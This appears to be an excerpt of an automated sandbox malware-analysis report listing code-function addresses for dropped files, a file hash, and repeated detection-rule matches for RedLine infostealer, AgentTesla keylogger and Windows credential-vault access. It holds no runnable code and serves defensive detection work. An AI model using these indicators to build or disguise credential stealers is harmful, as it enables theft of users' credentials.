Source: C:\Users\Public\Libraries\xrbjyllC.pif	Code function: 9_2_2DB81C57	9_2_2DB81C57
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Code function: 9_2_2DEC4571	9_2_2DEC4571
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Code function: 9_1_00408C60	9_1_00408C60
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Code function: 9_1_0040DC11	9_1_0040DC11
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Code function: 9_1_00407C3F	9_1_00407C3F
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Code function: 9_1_00418CCC	9_1_00418CCC
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Code function: 9_1_00406CA0	9_1_00406CA0
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Code function: 9_1_004028B0	9_1_004028B0
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Code function: 9_1_0041A4BE	9_1_0041A4BE
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Code function: 9_1_00408C60	9_1_00408C60
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Code function: 9_1_00418244	9_1_00418244
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Code function: 9_1_00401650	9_1_00401650
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Code function: 9_1_00402F20	9_1_00402F20
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Code function: 9_1_004193C4	9_1_004193C4
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Code function: 9_1_00418788	9_1_00418788
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Code function: 9_1_00402F89	9_1_00402F89
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Code function: 9_1_00402B90	9_1_00402B90
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Code function: 9_1_004073A0	9_1_004073A0
Source: C:\Users\Public\Libraries\Cllyjbrx.PIF	Code function: 10_2_031A20C4	10_2_031A20C4
Source: C:\Users\Public\Libraries\Cllyjbrx.PIF	Code function: 10_2_031AC98E	10_2_031AC98E
Source: C:\Users\Public\Libraries\Cllyjbrx.PIF	Code function: 10_2_031AC9DE	10_2_031AC9DE
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Code function: 11_2_00408C60	11_2_00408C60
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Code function: 11_2_0040DC11	11_2_0040DC11
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Code function: 11_2_00407C3F	11_2_00407C3F
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Code function: 11_2_00418CCC	11_2_00418CCC
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Code function: 11_2_00406CA0	11_2_00406CA0
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Code function: 11_2_004028B0	11_2_004028B0
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Code function: 11_2_0041A4BE	11_2_0041A4BE
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Code function: 11_2_00408C60	11_2_00408C60
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Code function: 11_2_00418244	11_2_00418244
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Code function: 11_2_00401650	11_2_00401650
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Code function: 11_2_00402F20	11_2_00402F20
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Code function: 11_2_004193C4	11_2_004193C4
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Code function: 11_2_00418788	11_2_00418788
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Code function: 11_2_00402F89	11_2_00402F89
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Code function: 11_2_00402B90	11_2_00402B90
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Code function: 11_2_004073A0	11_2_004073A0
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Code function: 11_2_24F1DCE8	11_2_24F1DCE8
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Code function: 11_2_24F1D0D0	11_2_24F1D0D0
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Code function: 11_2_24F11030	11_2_24F11030
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Code function: 11_2_24F1D418	11_2_24F1D418
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Code function: 11_2_24F10FD0	11_2_24F10FD0
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Code function: 11_2_2A490040	11_2_2A490040
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Code function: 11_2_2A4999A0	11_2_2A4999A0
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Code function: 11_2_2A496728	11_2_2A496728
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Code function: 11_2_2A49CFA8	11_2_2A49CFA8
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Code function: 11_2_2A49002F	11_2_2A49002F
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Code function: 11_2_2AB1A8CF	11_2_2AB1A8CF
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Code function: 11_2_2AB107C0	11_2_2AB107C0
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Code function: 11_2_2AB155A7	11_2_2AB155A7
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Code function: 11_2_2AB118B8	11_2_2AB118B8
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Code function: 11_2_2AB1DD88	11_2_2AB1DD88
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Code function: 11_2_2AFE0C30	11_2_2AFE0C30
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Code function: 11_2_2AFEE860	11_2_2AFEE860
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Code function: 11_1_00408C60	11_1_00408C60
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Code function: 11_1_0040DC11	11_1_0040DC11
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Code function: 11_1_00407C3F	11_1_00407C3F
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Code function: 11_1_00418CCC	11_1_00418CCC
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Code function: 11_1_00406CA0	11_1_00406CA0
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Code function: 11_1_004028B0	11_1_004028B0
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Code function: 11_1_0041A4BE	11_1_0041A4BE
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Code function: 11_1_00408C60	11_1_00408C60
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Code function: 11_1_00418244	11_1_00418244
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Code function: 11_1_00401650	11_1_00401650
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Code function: 11_1_00402F20	11_1_00402F20
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Code function: 11_1_004193C4	11_1_004193C4
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Code function: 11_1_00418788	11_1_00418788
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Code function: 11_1_00402F89	11_1_00402F89
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Code function: 11_1_00402B90	11_1_00402B90
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Code function: 11_1_004073A0	11_1_004073A0
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Code function: 13_2_004057B8	13_2_004057B8
Source: C:\Users\Public\Libraries\Cllyjbrx.PIF	Code function: 16_2_031920C4	16_2_031920C4
Source: C:\Users\Public\Libraries\Cllyjbrx.PIF	Code function: 16_2_0319C98F	16_2_0319C98F
Source: C:\Users\Public\Libraries\Cllyjbrx.PIF	Code function: 16_2_0319C9DF	16_2_0319C9DF

Source: Joe Sandbox View

Dropped File: C:\Users\Public\Libraries\xrbjyllC.pif 7BCDC2E607ABC65EF93AFD009C3048970D9E8D1C2A18FC571562396B13EBB301

Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Code function: String function: 0040A6C4 appears 68 times
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: String function: 031C46D4 appears 244 times
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: String function: 031D89D0 appears 45 times
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: String function: 031D894C appears 56 times
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: String function: 031C4500 appears 33 times
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: String function: 031C4860 appears 949 times
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: String function: 031C44DC appears 74 times
Source: C:\Users\Public\Libraries\Cllyjbrx.PIF	Code function: String function: 031A894C appears 50 times
Source: C:\Users\Public\Libraries\Cllyjbrx.PIF	Code function: String function: 031946D4 appears 155 times
Source: C:\Users\Public\Libraries\Cllyjbrx.PIF	Code function: String function: 03194860 appears 683 times
Source: C:\Users\Public\Libraries\Cllyjbrx.PIF	Code function: String function: 031A46D4 appears 155 times
Source: C:\Users\Public\Libraries\Cllyjbrx.PIF	Code function: String function: 031A4860 appears 683 times
Source: C:\Users\Public\Libraries\Cllyjbrx.PIF	Code function: String function: 031B894C appears 50 times
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Code function: String function: 0040D606 appears 96 times
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Code function: String function: 0040E1D8 appears 172 times
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Code function: String function: 0040FB9C appears 40 times

Source: 9.1.xrbjyllC.pif.400000.3.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 17.1.xrbjyllC.pif.400000.2.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 11.2.xrbjyllC.pif.400000.2.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 11.2.xrbjyllC.pif.29a80000.9.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 11.2.xrbjyllC.pif.29a80000.9.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV2 author = ditekSHen, description = AgenetTesla Type 2 Keylogger payload
Source: 9.2.xrbjyllC.pif.2ace5190.6.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 9.2.xrbjyllC.pif.2ace5190.6.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV2 author = ditekSHen, description = AgenetTesla Type 2 Keylogger payload
Source: 11.3.xrbjyllC.pif.24f7d9c8.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 11.3.xrbjyllC.pif.24f7d9c8.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV2 author = ditekSHen, description = AgenetTesla Type 2 Keylogger payload
Source: 9.2.xrbjyllC.pif.2c240000.7.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 9.2.xrbjyllC.pif.2c240000.7.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV2 author = ditekSHen, description = AgenetTesla Type 2 Keylogger payload
Source: 9.2.xrbjyllC.pif.2c980000.9.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 9.2.xrbjyllC.pif.2c980000.9.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV2 author = ditekSHen, description = AgenetTesla Type 2 Keylogger payload
Source: 17.2.xrbjyllC.pif.25040000.9.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 17.2.xrbjyllC.pif.25040000.9.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV2 author = ditekSHen, description = AgenetTesla Type 2 Keylogger payload
Source: 17.2.xrbjyllC.pif.23765190.8.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 17.2.xrbjyllC.pif.23765190.8.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV2 author = ditekSHen, description = AgenetTesla Type 2 Keylogger payload
Source: 9.2.xrbjyllC.pif.2ace5190.6.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 9.2.xrbjyllC.pif.2ace5190.6.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV2 author = ditekSHen, description = AgenetTesla Type 2 Keylogger payload
Source: 11.2.xrbjyllC.pif.29a80000.9.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 11.2.xrbjyllC.pif.29a80000.9.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV2 author = ditekSHen, description = AgenetTesla Type 2 Keylogger payload
Source: 11.2.xrbjyllC.pif.27fa5190.8.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 11.2.xrbjyllC.pif.27fa5190.8.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV2 author = ditekSHen, description = AgenetTesla Type 2 Keylogger payload
Source: 11.2.xrbjyllC.pif.26ec0ee8.6.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 11.2.xrbjyllC.pif.26ec0ee8.6.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV2 author = ditekSHen, description = AgenetTesla Type 2 Keylogger payload
Source: 9.2.xrbjyllC.pif.400000.2.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 9.2.xrbjyllC.pif.2c240ee8.8.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 9.2.xrbjyllC.pif.2c240ee8.8.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV2 author = ditekSHen, description = AgenetTesla Type 2 Keylogger payload
Source: 9.1.xrbjyllC.pif.400000.3.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 9.2.xrbjyllC.pif.299f0b8e.4.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 9.2.xrbjyllC.pif.299f0b8e.4.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV2 author = ditekSHen, description = AgenetTesla Type 2 Keylogger payload
Source: 17.2.xrbjyllC.pif.25040000.9.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 17.2.xrbjyllC.pif.25040000.9.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV2 author = ditekSHen, description = AgenetTesla Type 2 Keylogger payload
Source: 11.2.xrbjyllC.pif.26ec0ee8.6.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 11.2.xrbjyllC.pif.26ec0ee8.6.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV2 author = ditekSHen, description = AgenetTesla Type 2 Keylogger payload
Source: 11.2.xrbjyllC.pif.26affca6.4.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 11.2.xrbjyllC.pif.26affca6.4.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV2 author = ditekSHen, description = AgenetTesla Type 2 Keylogger payload
Source: 11.2.xrbjyllC.pif.27fa5190.8.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 11.2.xrbjyllC.pif.27fa5190.8.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV2 author = ditekSHen, description = AgenetTesla Type 2 Keylogger payload
Source: 17.2.xrbjyllC.pif.400000.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 9.2.xrbjyllC.pif.2c240ee8.8.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 9.2.xrbjyllC.pif.2c240ee8.8.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV2 author = ditekSHen, description = AgenetTesla Type 2 Keylogger payload
Source: 17.2.xrbjyllC.pif.22680ee8.7.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 17.2.xrbjyllC.pif.22680ee8.7.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV2 author = ditekSHen, description = AgenetTesla Type 2 Keylogger payload
Source: 11.1.xrbjyllC.pif.400000.3.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 11.2.xrbjyllC.pif.400000.2.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 17.1.xrbjyllC.pif.400000.2.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 17.2.xrbjyllC.pif.22130b8e.5.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 17.2.xrbjyllC.pif.22130b8e.5.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV2 author = ditekSHen, description = AgenetTesla Type 2 Keylogger payload
Source: 9.2.xrbjyllC.pif.2c240000.7.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 9.2.xrbjyllC.pif.2c240000.7.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV2 author = ditekSHen, description = AgenetTesla Type 2 Keylogger payload
Source: 17.2.xrbjyllC.pif.22130b8e.5.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 17.2.xrbjyllC.pif.22130b8e.5.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV2 author = ditekSHen, description = AgenetTesla Type 2 Keylogger payload
Source: 9.2.xrbjyllC.pif.2c980000.9.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 9.2.xrbjyllC.pif.2c980000.9.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV2 author = ditekSHen, description = AgenetTesla Type 2 Keylogger payload
Source: 17.2.xrbjyllC.pif.22680ee8.7.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 17.2.xrbjyllC.pif.22680ee8.7.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV2 author = ditekSHen, description = AgenetTesla Type 2 Keylogger payload
Source: 17.2.xrbjyllC.pif.22680000.6.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 17.2.xrbjyllC.pif.22680000.6.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV2 author = ditekSHen, description = AgenetTesla Type 2 Keylogger payload
Source: 11.3.xrbjyllC.pif.24f7d9c8.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 11.3.xrbjyllC.pif.24f7d9c8.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV2 author = ditekSHen, description = AgenetTesla Type 2 Keylogger payload
Source: 17.2.xrbjyllC.pif.23765190.8.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 17.2.xrbjyllC.pif.23765190.8.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV2 author = ditekSHen, description = AgenetTesla Type 2 Keylogger payload
Source: 9.2.xrbjyllC.pif.299f0b8e.4.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 9.2.xrbjyllC.pif.299f0b8e.4.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV2 author = ditekSHen, description = AgenetTesla Type 2 Keylogger payload
Source: 11.2.xrbjyllC.pif.26b00b8e.5.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 11.2.xrbjyllC.pif.26b00b8e.5.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV2 author = ditekSHen, description = AgenetTesla Type 2 Keylogger payload
Source: 9.2.xrbjyllC.pif.299efca6.5.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 9.2.xrbjyllC.pif.299efca6.5.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV2 author = ditekSHen, description = AgenetTesla Type 2 Keylogger payload
Source: 9.2.xrbjyllC.pif.400000.2.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 11.1.xrbjyllC.pif.400000.3.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 11.2.xrbjyllC.pif.26ec0000.7.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 11.2.xrbjyllC.pif.26ec0000.7.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV2 author = ditekSHen, description = AgenetTesla Type 2 Keylogger payload
Source: 11.2.xrbjyllC.pif.26ec0000.7.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 11.2.xrbjyllC.pif.26ec0000.7.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV2 author = ditekSHen, description = AgenetTesla Type 2 Keylogger payload
Source: 11.2.xrbjyllC.pif.26b00b8e.5.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 11.2.xrbjyllC.pif.26b00b8e.5.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV2 author = ditekSHen, description = AgenetTesla Type 2 Keylogger payload
Source: 17.2.xrbjyllC.pif.2212fca6.4.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 17.2.xrbjyllC.pif.2212fca6.4.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV2 author = ditekSHen, description = AgenetTesla Type 2 Keylogger payload
Source: 17.2.xrbjyllC.pif.400000.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 9.2.xrbjyllC.pif.299efca6.5.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 9.2.xrbjyllC.pif.299efca6.5.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV2 author = ditekSHen, description = AgenetTesla Type 2 Keylogger payload
Source: 17.2.xrbjyllC.pif.2212fca6.4.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 17.2.xrbjyllC.pif.2212fca6.4.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV2 author = ditekSHen, description = AgenetTesla Type 2 Keylogger payload
Source: 11.2.xrbjyllC.pif.26affca6.4.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 11.2.xrbjyllC.pif.26affca6.4.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV2 author = ditekSHen, description = AgenetTesla Type 2 Keylogger payload
Source: 17.2.xrbjyllC.pif.22680000.6.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
